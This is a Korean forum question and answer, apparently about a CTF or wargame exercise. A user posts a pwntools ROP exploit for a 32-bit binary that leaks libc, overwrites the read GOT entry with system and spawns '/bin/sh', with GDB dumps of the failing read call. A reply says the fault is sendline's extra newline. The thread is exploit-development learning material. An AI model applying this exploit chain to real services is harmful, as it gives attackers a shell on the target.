ROP 중 read 함수가 작동하지 않습니다. + 백트레이스 추가
p = process('rop')
e = ELF("rop")
#libc = ELF("libc.so.6")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
bss = 0x0804a024
ROP = p32(e.plt['write']) + p32(0x08048509) + p32(0x1) + p32(e.got['write']) + p32(0x4)
ROP += p32(e.plt['read']) + p32(0x08048509) + p32(0x0) + p32(bss) + p32(0x8)
ROP += p32(e.plt['read']) + p32(0x08048509) + p32(0x0) + p32(e.got['read']) + p32(0x4)
ROP += p32(e.plt['read']) + p32(0x1) + p32(bss)
payload = b'a'*(140) + ROP
print(len(payload))
raw_input()
p.sendline(payload)
write_addr = u32(p.recvn(4))
print(hex(write_addr))
libc_addr = write_addr - libc.symbols['write']
system = libc_addr + libc.symbols['system']
print(hex(system))
raw_input()
p.sendline(b'/bin/sh\x00')
raw_input()
p.sendline(p32(system))
p.interactive()
대충 write로 라이브러리 유출하고 첫번째 read로 bss 영역에 /bin/sh 입력, 두번째 read로 GOT overwrite를 하게 코드를 짰습니다.
문제는 기존에 있는 read와 ROP로 삽입한 첫번째 read는 제대로 작동하는데 마지막 read가 제대로 동작하지 않습니다.
----------------------------------registers-----------------------------------]
EAX: 0x8
EBX: 0x0
ECX: 0x804a024 ("/bin/sh")
EDX: 0x8
ESI: 0x0
EDI: 0x804a024 ("/bin/sh")
EBP: 0x8
ESP: 0xffcc1b48 --> 0x8048509 (<__libc_csu_init+89>: pop esi)
EIP: 0xf7e63f70 (<__GI___libc_read>: push esi)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e63f6b: xchg ax,ax
0xf7e63f6d: xchg ax,ax
0xf7e63f6f: nop
=> 0xf7e63f70 <__GI___libc_read>: push esi
0xf7e63f71 <__GI___libc_read+1>: push ebx
0xf7e63f72 <__GI___libc_read+2>: sub esp,0x14
0xf7e63f75 <__GI___libc_read+5>: mov ebx,DWORD PTR [esp+0x20]
0xf7e63f79 <__GI___libc_read+9>: mov ecx,DWORD PTR [esp+0x24]
[------------------------------------stack-------------------------------------]
0000| 0xffcc1b48 --> 0x8048509 (<__libc_csu_init+89>: pop esi)
0004| 0xffcc1b4c --> 0x0
0008| 0xffcc1b50 --> 0x804a00c --> 0xf7e63f70 (<__GI___libc_read>: push esi)
0012| 0xffcc1b54 --> 0x4
0016| 0xffcc1b58 --> 0x8048310 (<read@plt>: jmp DWORD PTR ds:0x804a00c)
0020| 0xffcc1b5c --> 0x1
0024| 0xffcc1b60 --> 0x804a024 ("/bin/sh")
0028| 0xffcc1b64 --> 0xa ('\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, __GI___libc_read (fd=0x0, buf=0x804a00c <read@got.plt>, nbytes=0x4) at ../sysdeps/unix/sysv/linux/read.c:25
25 in ../sysdeps/unix/sysv/linux/read.c
#0 __GI___libc_read (fd=0x0, buf=0x804a00c <read@got.plt>, nbytes=0x4) at ../sysdeps/unix/sysv/linux/read.c:25
#1 0x08048509 in __libc_csu_init ()
#2 0x00000001 in ?? ()
#3 0x0804a024 in __dso_handle ()
#4 0x0000000a in ?? ()
#5 0xffae2428 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
GDB로 문제가 생긴 두번째 read에 break를 건 상태입니다.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x0
ECX: 0x804a00c --> 0xf7e63f0a (nop)
EDX: 0x4
ESI: 0x0
EDI: 0x804a024 ("/bin/sh")
EBP: 0x8
ESP: 0xffcc1b4c --> 0x0
EIP: 0x8048509 (<__libc_csu_init+89>: pop esi)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048503 <__libc_csu_init+83>: jne 0x80484e8 <__libc_csu_init+56>
0x8048505 <__libc_csu_init+85>: add esp,0xc
0x8048508 <__libc_csu_init+88>: pop ebx
=> 0x8048509 <__libc_csu_init+89>: pop esi
0x804850a <__libc_csu_init+90>: pop edi
0x804850b <__libc_csu_init+91>: pop ebp
0x804850c <__libc_csu_init+92>: ret
0x804850d: lea esi,[esi+0x0]
[------------------------------------stack-------------------------------------]
0000| 0xffcc1b4c --> 0x0
0004| 0xffcc1b50 --> 0x804a00c --> 0xf7e63f0a (nop)
0008| 0xffcc1b54 --> 0x4
0012| 0xffcc1b58 --> 0x8048310 (<read@plt>: jmp DWORD PTR ds:0x804a00c)
0016| 0xffcc1b5c --> 0x1
0020| 0xffcc1b60 --> 0x804a024 ("/bin/sh")
0024| 0xffcc1b64 --> 0xa ('\n')
0028| 0xffcc1b68 --> 0xffcc1bc8 --> 0xffcc1be4 --> 0xffcc28b1 --> 0x706f72 ('rop')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048509 in __libc_csu_init ()
ni를 계속 입력해서 진행하다보면 그대로 RET를 실행해 libc_csu_init() 이라는 곳으로 빠집니다.
read 함수 내에서 ret가 실행됬다면 스택에 있는 가젯으로 옮겨져야 할텐데요..
애초에 아무 입력도 받지 않고 ret로 가버립니다..
EDI: 0x0
EBP: 0xffcc17dc --> 0x0
ESP: 0xffcc17c0 --> 0xffcc17dc --> 0x0
EIP: 0xf7f79559 (<__kernel_vsyscall+9>: pop ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7f79553 <__kernel_vsyscall+3>: mov ebp,esp
0xf7f79555 <__kernel_vsyscall+5>: sysenter
0xf7f79557 <__kernel_vsyscall+7>: int 0x80
=> 0xf7f79559 <__kernel_vsyscall+9>: pop ebp
0xf7f7955a <__kernel_vsyscall+10>: pop edx
0xf7f7955b <__kernel_vsyscall+11>: pop ecx
0xf7f7955c <__kernel_vsyscall+12>: ret
0xf7f7955d: nop
[------------------------------------stack-------------------------------------]
0000| 0xffcc17c0 --> 0xffcc17dc --> 0x0
0004| 0xffcc17c4 --> 0x0
0008| 0xffcc17c8 --> 0xffcc17dc --> 0x0
0012| 0xffcc17cc --> 0xf7da6e02 (<__GI_raise+194>: mov eax,DWORD PTR [esp+0x10c])
0016| 0xffcc17d0 --> 0xf7fa6000 --> 0x2af3c
0020| 0xffcc17d4 --> 0x6
0024| 0xffcc17d8 --> 0xf7f7b594 --> 0x74725f00 ('')
0028| 0xffcc17dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
0xf7f79559 in __kernel_vsyscall ()
#0 __GI___libc_read (fd=0x0, buf=0x804a00c <read@got.plt>, nbytes=0x4) at ../sysdeps/unix/sysv/linux/read.c:25
#1 0x08048509 in __libc_csu_init ()
#2 0x00000001 in ?? ()
#3 0x0804a024 in __dso_handle ()
#4 0x0000000a in ?? ()
#5 0xffae2428 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
c를 눌러서 그대로 진행하면 이런식으로 그냥 멈춰버립니다...
ㅠㅠ
작성자 정보
답변
1
Sechack
CTF First Place
페이로드는 맞는것같고 제생각에는 sendline함수를 써서 /bin/sh\x00을 입력할때 사실상 /bin/sh\x00\n을 보내게 되면서 전송하는 데이터가 9byte가 되고 read함수는 받을 수 있는 최대 크기가 8바이트로 설정되어있으니까 두번째 read가 \n으로 인해서 스킵되면서 익스가 잘 안되는것 같습니다. send함수로 바꿔주시면 될것같습니다. 만약 바꿔도 잘 안되실 경우에는 Sechack#1869 여기로 DM주시면 도와드리겠습니다.